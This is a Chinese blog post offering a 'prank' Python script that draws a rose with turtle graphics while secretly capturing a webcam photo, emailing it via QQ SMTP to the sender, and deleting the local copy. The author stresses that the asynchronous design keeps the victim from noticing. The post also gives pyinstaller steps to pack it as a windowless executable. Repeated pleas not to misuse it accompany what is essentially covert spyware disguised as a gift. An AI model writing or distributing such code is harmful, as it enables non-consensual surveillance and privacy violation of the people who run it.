python 惡搞代碼
先貼代碼出來
import imghdr
import smtplib
import time
import turtle
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from threading import Thread
import cv2
import os
def async(f):
def wrapper(*args, **kwargs):
thr = Thread(target=f, args=args, kwargs=kwargs)
thr.start()
return wrapper
@async
def draw():
"""畫玫瑰的方法"""
turtle.penup()
turtle.left(90)
turtle.fd(200)
turtle.pendown()
turtle.right(90)
# 花蕊
turtle.fillcolor("red")
turtle.begin_fill()
turtle.circle(10, 180)
turtle.circle(25, 110)
turtle.left(50)
turtle.circle(60, 45)
turtle.circle(20, 170)
turtle.right(24)
turtle.fd(30)
turtle.left(10)
turtle.circle(30, 110)
turtle.fd(20)
turtle.left(40)
turtle.circle(90, 70)
turtle.circle(30, 150)
turtle.right(30)
turtle.fd(15)
turtle.circle(80, 90)
turtle.left(15)
turtle.fd(45)
turtle.right(165)
turtle.fd(20)
turtle.left(155)
turtle.circle(150, 80)
turtle.left(50)
turtle.circle(150, 90)
turtle.end_fill()
# 花瓣1
turtle.left(150)
turtle.circle(-90, 70)
turtle.left(20)
turtle.circle(75, 105)
turtle.setheading(60)
turtle.circle(80, 98)
turtle.circle(-90, 40)
# 花瓣2
turtle.left(180)
turtle.circle(90, 40)
turtle.circle(-80, 98)
turtle.setheading(-83)
# 葉子1
turtle.fd(30)
turtle.left(90)
turtle.fd(25)
turtle.left(45)
turtle.fillcolor("green")
turtle.begin_fill()
turtle.circle(-80, 90)
turtle.right(90)
turtle.circle(-80, 90)
turtle.end_fill()
turtle.right(135)
turtle.fd(60)
turtle.left(180)
turtle.fd(85)
turtle.left(90)
turtle.fd(80)
# 葉子2
turtle.right(90)
turtle.right(45)
turtle.fillcolor("green")
turtle.begin_fill()
turtle.circle(80, 90)
turtle.left(90)
turtle.circle(80, 90)
turtle.end_fill()
turtle.left(135)
turtle.fd(60)
turtle.left(180)
turtle.fd(60)
turtle.right(90)
turtle.circle(200, 60)
time.sleep(10)
def camera():
capture = cv2.VideoCapture(0)
# time.sleep(3)
while True:
# 獲取一幀
flag, frame = capture.read()
cv2.imwrite("d:/photo.jpg", frame)
imgType = imghdr.what("d:/photo.jpg")
if imgType == "jpeg":
break
if cv2.waitKey(1) == ord('q'):
break
capture.release()# 釋放攝像頭
cv2.destroyAllWindows() # 關閉所有攝像窗口
def dele():
os.remove("d:/photo.jpg")
def send():
sender = '' # 填寫自己的郵箱地址
receivers = '' # 填寫自己的郵箱地址 # 收件人郵箱,可以和發件人一致
message = MIMEMultipart('related')
subject = '有人上當了'
message['Subject'] = subject
message['From'] = sender
message['To'] = receivers
content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
message.attach(content)
file = open("d:/photo.jpg", "rb")
img_data = file.read()
file.close()
img = MIMEImage(img_data)
img.add_header('Content-ID', 'imageid')
message.attach(img)
try:
server = smtplib.SMTP_SSL("smtp.qq.com")
server.login(sender, "") # QQ郵箱的授權碼
server.sendmail(sender, receivers, message.as_string())
server.quit()
print("啓動成功!即將繪圖")
dele() # 發送成功後刪除照片
except smtplib.SMTPException as e:
print(e)
# 下載pyinstaller pip install pyinstaller
# 進入cmd 進到eg 文件夾
# 打包代碼 pyinstaller -F -w eg.py
# 生成的exe文件在 lists文件夾下
def start():
draw()
camera()
send()
start()
說一下原理吧,利用py的turtle模塊,繪製圖片,吸引注意力,同時,異步調用攝像頭,拍照發送到你填寫的郵箱地址。
畫玫瑰的源碼來源於網絡,攝像頭的代碼來源於之前看過的一篇博客,但是忘記收藏了。。。
本人 在兩個代碼基礎上進行整理,添加了異步調用攝像頭,繪圖過程中不會有停頓。防止被發現。
此代碼跟朋友開玩笑可以,祝你好運!
請不要惡意使用此代碼,請不要惡意使用此代碼,請不要惡意使用此代碼,
請不要惡意使用此代碼,請不要惡意使用此代碼,請不要惡意使用此代碼,
請不要惡意使用此代碼,請不要惡意使用此代碼,請不要惡意使用此代碼,
請不要惡意使用此代碼,請不要惡意使用此代碼,請不要惡意使用此代碼,
請不要惡意使用此代碼,請不要惡意使用此代碼,請不要惡意使用此代碼,
請不要惡意使用此代碼,請不要惡意使用此代碼,請不要惡意使用此代碼,
請不要惡意使用此代碼,請不要惡意使用此代碼,請不要惡意使用此代碼,
請不要惡意使用此代碼,請不要惡意使用此代碼,請不要惡意使用此代碼,
效果圖
是動態的繪製過程 ----- 自己運行看看
畫玫瑰----原文鏈接
將py 文件打包爲 exe 可執行文件:
1. 下載 pyinstaller ---- pip install pyinstaller
2. 打開cmd,cd 到 .py文件的 父文件夾
3. 執行打包代碼 pyinstaller -F -w name.py
4. 生成的exe文件在 lists文件夾下
立一個flag,每天至少寫一篇博客!實在沒啥寫的話,就去做算法題目,看懂了之後記錄在csdn!
插一句題外話,關於魔方,
三階魔方 花式i love you公式
F’ U2 L2 F2 R U2 L2 U2 F2 L U2 F2 R’ F’
魔方公式圖解:
吐槽一下 關於破解、激活類博文不允許發佈
昨晚熬夜寫的,發了三次,剛纔查到上面的官方通知,浪費時間-----